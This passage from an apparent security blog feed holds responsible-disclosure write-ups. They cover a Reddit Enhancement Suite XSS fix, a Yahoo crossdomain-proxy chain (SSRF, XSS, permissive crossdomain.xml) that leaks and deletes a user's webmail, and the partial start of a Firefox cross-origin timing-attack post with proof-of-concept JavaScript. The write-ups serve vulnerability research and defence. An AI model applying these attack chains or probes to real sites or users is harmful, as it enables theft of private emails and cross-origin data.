<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
</pre></td><td class='code'><pre><code class='javascript'><span class='line'><span class="nx">r</span><span class="p">.</span><span class="nx">resAdvisory</span> <span class="o">=</span> <span class="p">{};</span>
</span><span class='line'><span class="nx">r</span><span class="p">.</span><span class="nx">resAdvisory</span><span class="p">.</span><span class="nx">minResVersion</span> <span class="o">=</span> <span class="p">[</span><span class="mi">4</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">];</span>
</span><span class='line'><span class="nx">r</span><span class="p">.</span><span class="nx">resAdvisory</span><span class="p">.</span><span class="nx">checkRESClick</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>  <span class="k">if</span> <span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">id</span> <span class="o">==</span> <span class="s2">&quot;viewImagesButton&quot;</span> <span class="o">||</span> <span class="nx">$</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">target</span><span class="p">).</span><span class="nx">hasClass</span><span class="p">(</span><span class="s2">&quot;expando-button&quot;</span><span class="p">))</span> <span class="p">{</span>
</span><span class='line'>      <span class="k">if</span><span class="p">(</span><span class="nx">r</span><span class="p">.</span><span class="nx">resAdvisory</span><span class="p">.</span><span class="nx">checkRESVersion</span><span class="p">())</span> <span class="p">{</span>
</span><span class='line'>          <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">removeEventListener</span><span class="p">(</span><span class="s2">&quot;click&quot;</span><span class="p">,</span> <span class="nx">r</span><span class="p">.</span><span class="nx">resAdvisory</span><span class="p">.</span><span class="nx">checkRESClick</span><span class="p">,</span> <span class="kc">true</span><span class="p">)</span>
</span><span class='line'>      <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span><span class='line'>          <span class="nx">e</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">();</span>
</span><span class='line'>          <span class="nx">e</span><span class="p">.</span><span class="nx">stopPropagation</span><span class="p">();</span>
</span><span class='line'>          <span class="nx">alert</span><span class="p">(</span><span class="s2">&quot;The version of Reddit Enhancement Suite you are using has a bug which makes expanding posts insecure to use. Please update Reddit Enhancement Suite to continue using post expandos.  Please visit /r/Enhancement for more information.&quot;</span><span class="p">));</span>
</span><span class='line'>      <span class="p">}</span>
</span><span class='line'>  <span class="p">}</span>
</span><span class='line'><span class="p">};</span>
</span><span class='line'><span class="nx">r</span><span class="p">.</span><span class="nx">resAdvisory</span><span class="p">.</span><span class="nx">checkRESVersion</span> <span class="o">=</span> <span class="nx">_</span><span class="p">.</span><span class="nx">memoize</span><span class="p">(</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span><span class='line'>    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">$</span><span class="p">(</span><span class="s2">&quot;#RESMainGearOverlay&quot;</span><span class="p">).</span><span class="nx">length</span><span class="p">)</span> <span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">version</span> <span class="o">=</span> <span class="nx">$</span><span class="p">(</span><span class="s2">&quot;#RESConsoleVersion&quot;</span><span class="p">).</span><span class="nx">text</span><span class="p">();</span>
</span><span class='line'>    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">version</span><span class="p">)</span>
</span><span class='line'>      <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
</span><span class='line'>    <span class="nx">version</span> <span class="o">=</span> <span class="nx">version</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="mi">1</span><span class="p">).</span><span class="nx">split</span><span class="p">(</span><span class="s2">&quot;.&quot;</span><span class="p">);</span>
</span><span class='line'>    <span class="nx">version</span> <span class="o">=</span> <span class="nx">_</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">ver</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">num</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>        <span class="k">return</span> <span class="nb">parseInt</span><span class="p">(</span><span class="nx">num</span><span class="p">);</span>
</span><span class='line'>    <span class="p">});</span>
</span><span class='line'>    <span class="k">return</span> <span class="nx">version</span> <span class="o">&gt;=</span> <span class="nx">r</span><span class="p">.</span><span class="nx">resAdvisory</span><span class="p">.</span><span class="nx">minResVersion</span><span class="p">;</span>
</span><span class='line'><span class="p">});</span>
</span><span class='line'><span class="nx">r</span><span class="p">.</span><span class="nx">resAdvisory</span><span class="p">.</span><span class="nx">init</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span><span class='line'>    <span class="k">if</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">)</span>
</span><span class='line'>      <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s2">&quot;click&quot;</span><span class="p">,</span> <span class="nx">r</span><span class="p">.</span><span class="nx">resAdvisory</span><span class="p">.</span><span class="nx">checkRESClick</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<h2>Closing Notes</h2>

<ul>
<li>If you use a markup library that generates HTML, putting an HTML filter in front of it as a failsafe is a good idea.</li>
<li>If you don&rsquo;t have to insert untrusted HTML into the DOM, it&rsquo;s best not to. For example, most of the image titles and captions RES handles aren&rsquo;t even meant to be interpreted as HTML. Putting the rest of the content in a sandboxed iframe would also have mitigated the issue, and I&rsquo;ve recommended doing that in a future version of RES.</li>
<li>Be careful about messing with the page&rsquo;s DOM at all if you don&rsquo;t have to, the page can see everything that you add or remove.</li>
<li>Sanitizing untrusted HTML is tricky business. If you need to roll your own sanitizer (and please don&rsquo;t), make sure that you fully parse the document, then reserialize it so it&rsquo;s unambiguous across parsers. Checking that it looks sane in your parser is not enough.</li>
<li>For developers of popular web platforms: It might make sense to audit extensions / third party clients targeted at your users to reduce the amount of cleanup needed should they get exploited.</li>
</ul>


<h2>Further reading</h2>

<p><a href="http://blog.kotowicz.net/2013/12/rapportive-xsses-gmail-or-have-yourself.html">Another example of DOM-based XSS via extensions</a></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Yahoo's Pet Show of Horrors: Leaking a User's Emails Crossdomain]]></title>
    <link href="http://blog.saynotolinux.com/blog/2014/03/01/yahoos-pet-show-of-horrors-abusing-a-crossdomain-proxy-to-leak-a-users-email/"/>
    <updated>2014-03-01T01:12:17-08:00</updated>
    <id>http://blog.saynotolinux.com/blog/2014/03/01/yahoos-pet-show-of-horrors-abusing-a-crossdomain-proxy-to-leak-a-users-email</id>
    <content type="html"><![CDATA[<p>I&rsquo;m taking a break from browser security posts while I wait for vendors to patch, so the next few posts are probably going to be about web app security. Hopefully I should have some posts about architectural flaws in browsers / plugins by next month.</p>

<h2>Initial Discovery</h2>

<p>Since Yahoo <a href="http://yahoodevelopers.tumblr.com/post/65622522325/the-bug-bounty-program-is-now-live">recently revamped their Responsible Disclosure program</a>, I figured I&rsquo;d have a go at finding some vulnerabilities. All of <code>*.yahoo.com</code> is in scope, and Yahoo has a <em>lot</em> of legacy behind it, so I started going through the more obscure subdomains manually. One of the subdomains I looked at a lot was <code>hk.promotions.yahoo.com</code>. It&rsquo;s a good place to look because it has lots of PHP scripts and Flash, it looks like it wasn&rsquo;t done by Yahoo&rsquo;s core devs, and most auditors aren&rsquo;t looking there since its content is mostly in Chinese.</p>

<!--more-->


<p>I ended up on <code>http://hk.promotions.yahoo.com/petshow2011/</code>, apparently a page for a Hongkongese pet show that happened in 2011:</p>

<p><a href="http://blog.saynotolinux.com/images/posts/petshow/petshow0.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/petshow/petshow0.png" width="640" height="480"></a></p>

<p>As you can see from the request log, something on the page was requesting data from another domain through a crossdomain proxy: <code>http://hk.promotions.yahoo.com/petshow2011/php/getImages.php?file=&lt;url&gt;</code>.</p>

<p>Crossdomain proxies are generally goldmines for vulnerabilities, and this one&rsquo;s no different. First of all, it doesn&rsquo;t whitelist the URLs that we may make requests to, and the proxy is positioned inside Yahoo&rsquo;s internal network, so we can have it proxy out resources that would normally be inacessible. I tested with a <code>.corp.yahoo.com</code> URL I found on google, and ended up with some uninteresting, but normally inaccessible search statistics. Other SSRF attacks were likely posible, but I didn&rsquo;t poke it too much other than to verify that local file disclosure wasn&rsquo;t possible.</p>

<p>Second, since the proxy doesn&rsquo;t set a <code>Content-Type</code> on the response and we control the response body, we&rsquo;ve got XSS on <code>hk.promotions.yahoo.com</code> thanks to type sniffing!</p>

<p><a href="http://blog.saynotolinux.com/images/posts/petshow/petshow2.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/petshow/petshow2.png" width="640" height="480"></a></p>

<p><a href="http://blog.saynotolinux.com/images/posts/petshow/petshow3.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/petshow/petshow3.png"></a></p>

<h2>Escalating Access</h2>

<p>That&rsquo;s nice and all, but XSS on a mostly-static subdomain isn&rsquo;t that interesting to me. Now, remember that we control the <em>entire</em> body of the proxy&rsquo;s response and that there&rsquo;s no <code>Content-Type</code>. That means we can <em>also</em> proxy an SWF and have it be same-origin with <code>hk.promotions.yahoo.com</code>. Why&rsquo;s a SWF any more useful to us than HTML? Because of overly-permissive <a href="http://kb2.adobe.com/cps/142/tn_14213.html">crossdomain.xml rules</a>.</p>

<p>Flash checks for a <code>&lt;destination domain&gt;/crossdomain.xml</code> file before attempting a crossorigin request, to see if SWFs from the sender&rsquo;s origin may read the response (among other things, see <a href="#Further.Reading">&ldquo;Further Reading&rdquo;</a>.) For example, if you wanted to allow SWFs on any subdomain of <code>yahoo.com</code> to do crossdomain reads to your domain, you might put a rule like this in your <code>crossdomain.xml</code>:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='xml'><span class='line'><span class="nt">&lt;allow-access-from</span> <span class="na">domain=</span><span class="s">&quot;*.yahoo.com&quot;</span><span class="nt">/&gt;</span>
</span></code></pre></td></tr></table></div></figure>


<p>That&rsquo;s probably overly permissive, <code>*.yahoo.com</code> is a <em>lot</em> of attack surface, but let&rsquo;s take a look at what Yahoo actually has in their <code>crossdomain.xml</code>s.</p>

<p><a href="http://finance.yahoo.com/crossdomain.xml">finance.yahoo.com</a>:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class='xml'><span class='line'><span class="nt">&lt;cross-domain-policy&gt;</span>
</span><span class='line'>    <span class="nt">&lt;allow-access-from</span> <span class="na">domain=</span><span class="s">&quot;*.yahoo.com&quot;</span><span class="nt">/&gt;</span>
</span><span class='line'>    <span class="nt">&lt;allow-access-from</span> <span class="na">domain=</span><span class="s">&quot;us.js2.yimg.com&quot;</span><span class="nt">/&gt;</span>
</span><span class='line'>    <span class="nt">&lt;allow-access-from</span> <span class="na">domain=</span><span class="s">&quot;*.yimg.com&quot;</span><span class="nt">/&gt;</span>
</span><span class='line'><span class="nt">&lt;/cross-domain-policy&gt;</span>
</span></code></pre></td></tr></table></div></figure>


<p><a href="http://www.flickr.com/crossdomain.xml">www.flickr.com</a>:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class='xml'><span class='line'><span class="nt">&lt;cross-domain-policy&gt;</span>
</span><span class='line'>    <span class="nt">&lt;allow-access-from</span> <span class="na">domain=</span><span class="s">&quot;*.yahoo.com&quot;</span><span class="nt">/&gt;</span>
</span><span class='line'>    <span class="nt">&lt;allow-access-from</span> <span class="na">domain=</span><span class="s">&quot;l.yimg.com&quot;</span><span class="nt">/&gt;</span>
</span><span class='line'>    <span class="nt">&lt;allow-access-from</span> <span class="na">domain=</span><span class="s">&quot;d.yimg.com&quot;</span><span class="nt">/&gt;</span>
</span><span class='line'>    <span class="nt">&lt;allow-access-from</span> <span class="na">domain=</span><span class="s">&quot;s.yimg.com&quot;</span><span class="nt">/&gt;</span>
</span><span class='line'>    <span class="nt">&lt;site-control</span> <span class="na">permitted-cross-domain-policies=</span><span class="s">&quot;master-only&quot;</span><span class="nt">/&gt;</span>
</span><span class='line'><span class="nt">&lt;/cross-domain-policy&gt;</span>
</span></code></pre></td></tr></table></div></figure>


<p><a href="http://ca-mg5.mail.yahoo.com/crossdomain.xml">ca-mg5.mail.yahoo.com</a> (webmail server, returns valid <code>crossdomain.xml</code> when logged in):</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class='xml'><span class='line'><span class="nt">&lt;cross-domain-policy&gt;</span>
</span><span class='line'>    <span class="nt">&lt;allow-access-from</span> <span class="na">domain=</span><span class="s">&quot;*.yahoo.com&quot;</span> <span class="na">secure=</span><span class="s">&quot;false&quot;</span><span class="nt">/&gt;</span>
</span><span class='line'>    <span class="nt">&lt;allow-access-from</span> <span class="na">domain=</span><span class="s">&quot;l.yimg.com&quot;</span> <span class="na">secure=</span><span class="s">&quot;false&quot;</span><span class="nt">/&gt;</span>
</span><span class='line'>    <span class="nt">&lt;allow-access-from</span> <span class="na">domain=</span><span class="s">&quot;s.yimg.com&quot;</span> <span class="na">secure=</span><span class="s">&quot;false&quot;</span><span class="nt">/&gt;</span>
</span><span class='line'><span class="nt">&lt;/cross-domain-policy&gt;</span>
</span></code></pre></td></tr></table></div></figure>


<p>YMail actually has the <em>least</em> secure crossdomain policy of any of the subdomains that I checked. That <code>secure="false"</code> will allow SWFs served over HTTP to read resources only served over HTTPS, making the forced HTTPS a lot less useful. Per Adobe, <a href="http://www.adobe.com/devnet/adobe-media-server/articles/cross-domain-xml-for-streaming.html#articlecontentAdobe_numberedheader_0">&ldquo;Using false in an HTTPS policy file is not recommended because this compromises the security offered by HTTPS.&rdquo;</a></p>

<h2>It&rsquo;s Proxies All the Way Down</h2>

<p>Well, now we know we can get an arbitrary SWF same-origin with a subdomain of <code>yahoo.com</code>, and we know that SWF can read from a number of subdomains on <code>yahoo.com</code>, let&rsquo;s get some emails!</p>

<p>First, we need to pick the SWF to proxy. The obvious choice for someone who doesn&rsquo;t know Flash well is a <a href="https://github.com/borisreitman/CrossXHR">SWF&lt;->JS XHR proxy</a>. These allow you to proxy requests from JS through a specialized SWF. Here was the result, with some overzealous redaction:</p>

<p><a href="http://blog.saynotolinux.com/images/posts/petshow/petshow4.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/petshow/petshow4.png" width="640"></a></p>

<p>Looks like our proxied proxy works, the response body includes all of my test account&rsquo;s auth tokens and personal info. One of those tokens allows us to access a JSON endpoint that lists our e-mails:</p>

<p><a href="http://blog.saynotolinux.com/images/posts/petshow/petshow6.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/petshow/petshow6.png" width="640"></a></p>

<p>and we can use those message IDs to pull up specific emails from the user&rsquo;s inbox:</p>

<p><a href="http://blog.saynotolinux.com/images/posts/petshow/petshow7.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/petshow/petshow7.png" width="640"></a></p>

<p>and since we can read pages containing CSRF tokens, we can delete the user&rsquo;s emails, send emails as the current user, etc:</p>

<p><a href="http://blog.saynotolinux.com/images/posts/petshow/petshow8.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/petshow/petshow8.png" width="640"></a></p>

<p>Funky. The most obvious application of this attack would be to determine the user&rsquo;s email, initiate a password reset on any &ldquo;interesting&rdquo; sites, read the password reset URL from their email, then delete the email; but there&rsquo;s plenty of others.</p>

<h2>The Fix</h2>

<p>Well, the affected page was for a Hongkongese pet show that happened in 2011, so the fix was removing the page and its associated crossdomain proxy. I&rsquo;m disappointed that the <code>crossdomain.xml</code> rules are still as loose as they are, but I don&rsquo;t think that&rsquo;s getting changed anytime soon. Subsequent reports mentioning the <code>crossdomain.xml</code> rules have been marked WONTFIX.</p>

<h2>TL;DR</h2>

<p>There were SSRF and crossdomain data leakage issues due to a misconfigured crossdomain proxy and overly-permissive <code>crossdomain.xml</code> rules. One was able to leak the emails of the current user, and do anything the user could do from YMail just by having them visit an attacker-controlled page.</p>

<p>This instance of the issue is fixed, but the <code>crossdomain.xml</code> rules are still overly-permissive.</p>

<h2>Disclosure Timeline</h2>

<ul>
<li>Nov. 19 2013: Discovered that crossdomain proxy leaked internal resources</li>
<li>Nov. 20 2013: Reported issue to Yahoo</li>
<li>Nov. 23 2013: Updated Yahoo on the XSS / crossdomain leakage / crossdomain.xml issues</li>
<li>Nov. 25 2013: Yahoo acknowledges report</li>
<li>Nov. 29 2013: Yahoo fixes issue</li>
<li>Feb. 03 2014: Yahoo confirms report, bounty elligibility</li>
</ul>


<h2>Further Reading</h2>

<ul>
<li><a href="https://gist.github.com/anonymous/5c2b1440b37d7d715592">An example of a vulnerable crossdomain proxy</a></li>
<li><a href="https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit?pli=1#">SSRF Bible</a></li>
<li><a href="http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_Flash">Flash same-origin policy primer</a></li>
</ul>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[What's That Smell? Sniffing Cross-origin Frame Content in Firefox Using Timing Attacks]]></title>
    <link href="http://blog.saynotolinux.com/blog/2014/02/05/whats-that-smell-sniffing-cross-origin-frames-in-firefox/"/>
    <updated>2014-02-05T06:12:13-08:00</updated>
    <id>http://blog.saynotolinux.com/blog/2014/02/05/whats-that-smell-sniffing-cross-origin-frames-in-firefox</id>
    <content type="html"><![CDATA[<p>Reading the blogs of <a href="http://lcamtuf.blogspot.com">lcamtuf</a> and <a href="http://scarybeastsecurity.blogspot.ca/">Chris Evans</a> is really what got me interested in browser security,
so I&rsquo;m always on the lookout for novel cross-domain data theft vectors. Today I&rsquo;m going to go into
the discovery and exploitation of such a bug: A timing attack on Firefox&rsquo;s <code>document.elementFromPoint</code> and <code>document.caretPositionFromPoint</code> implementations.</p>

<h2>Initial Discovery</h2>

<p>I was looking at ways to automatically exploit another bug that required user interaction when I noticed <a href="https://developer.mozilla.org/en-US/docs/Web/API/document.elementFromPoint">elementFromPoint</a> and
<a href="https://developer.mozilla.org/en-US/docs/Web/API/document.caretPositionFromPoint">caretPositionFromPoint</a> on the MDN.
Curious as to how they behaved with frames, I did a little testing.</p>

<!--more-->


<p>I made an example page to test:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='html'><span class='line'><span class="nt">&lt;html&gt;&lt;body&gt;</span>
</span><span class='line'>    <span class="nt">&lt;iframe</span> <span class="na">id=</span><span class="s">&quot;testFrame&quot;</span> <span class="na">src=</span><span class="s">&quot;http://cbc.ca&quot;</span> <span class="na">width=</span><span class="s">&quot;1025&quot;</span><span class="nt">&gt;&lt;/iframe&gt;</span>
</span><span class='line'><span class="nt">&lt;/body&gt;&lt;/html&gt;</span>
</span></code></pre></td></tr></table></div></figure>


<p><code>elementFromPoint(x,y)</code> behaved exactly as I expected, when used in the web console it returned the iframe on my page:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='javascript'><span class='line'><span class="o">&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">elementFromPoint</span><span class="p">(</span><span class="nx">frame</span><span class="p">.</span><span class="nx">offsetLeft</span> <span class="o">+</span> <span class="mi">10</span><span class="p">,</span> <span class="nx">frame</span><span class="p">.</span><span class="nx">offsetTop</span> <span class="o">+</span> <span class="mi">10</span><span class="p">))</span>
</span><span class='line'><span class="o">&lt;</span> <span class="p">[</span><span class="nx">object</span> <span class="nx">HTMLIFrameElement</span><span class="p">]</span>
</span></code></pre></td></tr></table></div></figure>


<p><code>caretPositionFromPoint(x,y)</code>, however, was returning elements from the page on cbc.ca!</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='javascript'><span class='line'><span class="o">&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">caretPositionFromPoint</span><span class="p">(</span><span class="nx">frame</span><span class="p">.</span><span class="nx">offsetLeft</span> <span class="o">+</span> <span class="mi">10</span><span class="p">,</span> <span class="nx">frame</span><span class="p">.</span><span class="nx">offsetTop</span> <span class="o">+</span> <span class="mi">10</span><span class="p">))</span>
</span><span class='line'><span class="o">&lt;</span> <span class="p">[</span><span class="nx">object</span> <span class="nx">CaretPosition</span><span class="p">]</span>
</span></code></pre></td></tr></table></div></figure>


<p><a href="http://blog.saynotolinux.com/images/posts/frompoint/obj_inspector.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/frompoint/obj_inspector.png"></a></p>

<p>But there was a small snag: I couldn&rsquo;t actually access the <code>CaretPosition</code>&rsquo;s <code>offsetNode</code> from JS without getting a security exception.
It seems that Firefox noticed that <code>offsetNode</code> was being set to an element from a cross-origin document, and wrapped the <code>CaretPosition</code> object
so that I couldn&rsquo;t access any of its members from <em>my</em> document. Great.</p>

<p>However, I found I <em>could</em> access <code>offsetNode</code> when it was set to null. <code>offsetNode</code> seems to be set to null when the topmost
element at a given point is a button, and that includes scrollbar thumbs. That&rsquo;s great for us, because knowing the size and location of the frame&rsquo;s scrollbar thumb
tells us how large the framed document is, and also allows us to leak which elements exist on the page.</p>

<p>For example here&rsquo;s what we can infer about <a href="https://tomcat.apache.org/tomcat-5.5-doc/ssl-howto.html#Create_a_local_Certificate_Signing_Request_(CSR)">https://tomcat.apache.org/tomcat-5.5-doc/ssl-howto.html#Create_a_local_Certificate_Signing_Request_(CSR)</a> through its scrollbars:</p>

<p><a href="http://blog.saynotolinux.com/images/posts/frompoint/nullity_test.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/frompoint/nullity_test.png" width="600" height="600"></a></p>

<p>The vertical scrollbar thumb has obviously moved, so we know that an element with an id of <code>Create_a_local_Certificate_Signing_Request_(CSR)</code> exists in the framed document.</p>

<p>The following function is used to test <code>offsetNode</code> accessibility at a given point in the document:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class='javascript'><span class='line'><span class="kd">function</span> <span class="nx">isOffsetNodeAccessibleAt</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>  <span class="k">try</span> <span class="p">{</span>
</span><span class='line'>      <span class="nb">document</span><span class="p">.</span><span class="nx">caretPositionFromPoint</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">).</span><span class="nx">offsetNode</span><span class="p">;</span>
</span><span class='line'>  <span class="p">}</span> <span class="k">catch</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>      <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
</span><span class='line'>  <span class="p">}</span>
</span><span class='line'>  <span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<h2>Digging Deeper</h2>

<p>Knowing the page&rsquo;s size and whether certain elements are present is nice, but I wanted more. I remembered <a href="http://contextis.co.uk/research/white-papers/pixel-perfect-timing-attacks-html5/">Paul Stone&rsquo;s excellent paper about timing attacks on browser renderers</a> and figured a timing attack might help us here.</p>

<p><code>caretPositionFromPoint</code> has to do hit testing on the document to determine what the topmost element is at a given point,
and I figured that&rsquo;s not likely to be a constant time operation. It was also clear that hit testing <em>was</em> being performed on cross-origin frame contents, since <code>caretPositionFromPoint</code> was returning elements from them.
I guessed that the time it took for a <code>caretPositionFromPoint(x,y)</code> call to return would leak information about the element at <code>(x,y)</code>.</p>

<p>To test my theory I made a script that runs <code>caretPositionFromPoint(x,y)</code> on a given point 50 times, then stores the median time that the call took to complete. Using the median is important so we can eliminate timing differences due to unrelated factors, like CPU load at the time of the call.</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
</pre></td><td class='code'><pre><code class='javascript'><span class='line'><span class="kd">function</span> <span class="nx">timeToFindPoint</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>  <span class="c1">// window. getter is slow, apparently.</span>
</span><span class='line'>  <span class="kd">var</span> <span class="nx">perf</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">performance</span><span class="p">;</span>
</span><span class='line'>  
</span><span class='line'>  <span class="c1">// Run caretPositionFromPoint() NUM_SAMPLES times and store runtime for each call.</span>
</span><span class='line'>  <span class="kd">var</span> <span class="nx">runTimes</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Float64Array</span><span class="p">(</span><span class="nx">NUM_SAMPLES</span><span class="p">);</span>
</span><span class='line'>  <span class="k">for</span><span class="p">(</span><span class="kd">var</span> <span class="nx">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="nx">i</span><span class="o">&lt;</span><span class="nx">NUM_SAMPLES</span><span class="p">;</span> <span class="o">++</span><span class="nx">i</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>      <span class="kd">var</span> <span class="nx">start</span> <span class="o">=</span> <span class="nx">perf</span><span class="p">.</span><span class="nx">now</span><span class="p">();</span>
</span><span class='line'>      <span class="nb">document</span><span class="p">.</span><span class="nx">caretPositionFromPoint</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">);</span>
</span><span class='line'>      <span class="nx">runTimes</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="nx">perf</span><span class="p">.</span><span class="nx">now</span><span class="p">()</span> <span class="o">-</span> <span class="nx">start</span><span class="p">;</span>
</span><span class='line'>  <span class="p">}</span>
</span><span class='line'>  
</span><span class='line'>  <span class="c1">// Return the median runtime for the call</span>
</span><span class='line'>  <span class="nx">runTimes</span> <span class="o">=</span> <span class="nb">Array</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span> <span class="p">[],</span> <span class="nx">runTimes</span><span class="p">);</span>
</span><span class='line'>  <span class="nx">runTimes</span><span class="p">.</span><span class="nx">sort</span><span class="p">();</span>
</span><span class='line'>  
</span><span class='line'>  <span class="k">return</span> <span class="nx">runTimes</span><span class="p">[(</span><span class="nx">NUM_SAMPLES</span> <span class="o">/</span> <span class="mi">2</span><span class="p">)</span> <span class="o">|</span> <span class="mi">0</span><span class="p">];</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>Once we&rsquo;ve gathered timing measurements for all of the points across the iframe, we can make a visualization of the differences:</p>

